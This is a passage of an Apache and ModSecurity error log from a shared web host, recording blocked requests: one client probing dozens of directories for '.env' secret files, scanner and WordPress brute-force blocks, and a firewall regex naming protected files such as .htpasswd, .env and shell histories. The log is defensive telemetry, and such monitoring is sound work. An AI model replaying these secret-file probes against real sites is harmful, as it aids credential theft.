configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9zZXJpbzE= [Sat Jun 13 18:13:09.071875 2026] [access_compat:error] [pid 531155:tid 531253] [remote 57.141.14.30:55536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:09.072123 2026] [access_compat:error] [pid 531155:tid 531253] [remote 57.141.14.30:55536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:09.523728 2026] [security2:error] [pid 531155:tid 531221] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/administrator/config/.env"] [unique_id "ai3yFSmiP80klyS0NnoLCgABI0E"] [Sat Jun 13 18:13:09.569726 2026] [security2:error] [pid 531155:tid 531162] [remote 17.246.23.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yFSmiP80klyS0NnoLDAABbAY"] [Sat Jun 13 18:13:09.592723 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvaWQ= [Sat Jun 13 18:13:09.593007 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvaWQ= [Sat Jun 13 18:13:09.657825 2026] [security2:error] [pid 531155:tid 531229] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/webadmin/.env"] [unique_id "ai3yFSmiP80klyS0NnoLEgABFUk"] [Sat Jun 13 18:13:09.693249 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.63:33328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:09.693516 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.63:33328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:09.791019 2026] [security2:error] [pid 531155:tid 531205] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/sysadmin/.env"] [unique_id "ai3yFSmiP80klyS0NnoLGAABLTE"] [Sat Jun 13 18:13:09.924252 2026] [security2:error] [pid 531155:tid 531164] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/mysql/.env"] [unique_id "ai3yFSmiP80klyS0NnoLHwABUwg"] [Sat Jun 13 18:13:10.061587 2026] [security2:error] [pid 531155:tid 531248] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/dbadmin/.env"] [unique_id "ai3yFimiP80klyS0NnoLJAABHlw"] [Sat Jun 13 18:13:10.081725 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.68:33772] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:10.082159 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.68:33772] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:10.105538 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:13:10.105840 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:13:10.154132 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.77:20399] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:10.154386 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.77:20399] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:10.194407 2026] [security2:error] [pid 531155:tid 531234] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/sql/.env"] [unique_id "ai3yFimiP80klyS0NnoLLwABGk4"] [Sat Jun 13 18:13:10.312103 2026] [security2:error] [pid 531155:tid 531207] [remote 17.22.245.91:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 91.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yFimiP80klyS0NnoLMwABJjM"] [Sat Jun 13 18:13:10.327306 2026] [security2:error] [pid 531155:tid 531262] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/master/.env"] [unique_id "ai3yFimiP80klyS0NnoLNQABfWo"] [Sat Jun 13 18:13:10.460266 2026] [security2:error] [pid 531155:tid 531177] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/temp/.env"] [unique_id "ai3yFimiP80klyS0NnoLOwABahU"] [Sat Jun 13 18:13:10.594119 2026] [security2:error] [pid 531155:tid 531176] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/tmp/.env"] [unique_id "ai3yFimiP80klyS0NnoLQAABFhQ"] [Sat Jun 13 18:13:10.637183 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:10.637629 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:10.711995 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.98:63156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:10.712276 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.98:63156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:10.727572 2026] [security2:error] [pid 531155:tid 531256] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/cloud/.env"] [unique_id "ai3yFimiP80klyS0NnoLSgABGGQ"] [Sat Jun 13 18:13:10.744002 2026] [security2:error] [pid 531155:tid 531157] [remote 17.246.19.29:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 29.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yFimiP80klyS0NnoLTAABVgE"] [Sat Jun 13 18:13:10.819593 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.33:57985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:10.819882 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.33:57985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:10.860394 2026] [security2:error] [pid 531155:tid 531272] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/cgi-bin/.env"] [unique_id "ai3yFimiP80klyS0NnoLUgABIHQ"] [Sat Jun 13 18:13:10.992969 2026] [security2:error] [pid 531155:tid 531267] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/blog/.env"] [unique_id "ai3yFimiP80klyS0NnoLWAABRm8"] [Sat Jun 13 18:13:11.095220 2026] [access_compat:error] [pid 531155:tid 531186] [remote 57.141.14.98:63158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:11.095666 2026] [access_compat:error] [pid 531155:tid 531186] [remote 57.141.14.98:63158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:11.126622 2026] [security2:error] [pid 531155:tid 531168] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/blogs/.env"] [unique_id "ai3yFymiP80klyS0NnoLXQABGQw"] [Sat Jun 13 18:13:11.155733 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:13:11.155733 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.73:31920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:11.156186 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.73:31920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:11.156186 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:13:11.162911 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.86:37902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:11.163374 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.86:37902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:11.202291 2026] [security2:error] [pid 531155:tid 531377] [client 172.56.168.133:24769] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yFymiP80klyS0NnoLYwAAAWY"] [Sat Jun 13 18:13:11.202410 2026] [security2:error] [pid 531155:tid 531377] [client 172.56.168.133:24769] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yFymiP80klyS0NnoLYwAAAWY"] [Sat Jun 13 18:13:11.259585 2026] [security2:error] [pid 531155:tid 531163] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/engine/.env"] [unique_id "ai3yFymiP80klyS0NnoLaAABHwc"] [Sat Jun 13 18:13:11.303034 2026] [security2:error] [pid 531155:tid 531159] [remote 17.22.253.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yFymiP80klyS0NnoLagABIwM"] [Sat Jun 13 18:13:11.393236 2026] [security2:error] [pid 531155:tid 531222] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/forum/.env"] [unique_id "ai3yFymiP80klyS0NnoLbQABfEI"] [Sat Jun 13 18:13:11.525609 2026] [security2:error] [pid 531155:tid 531193] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( 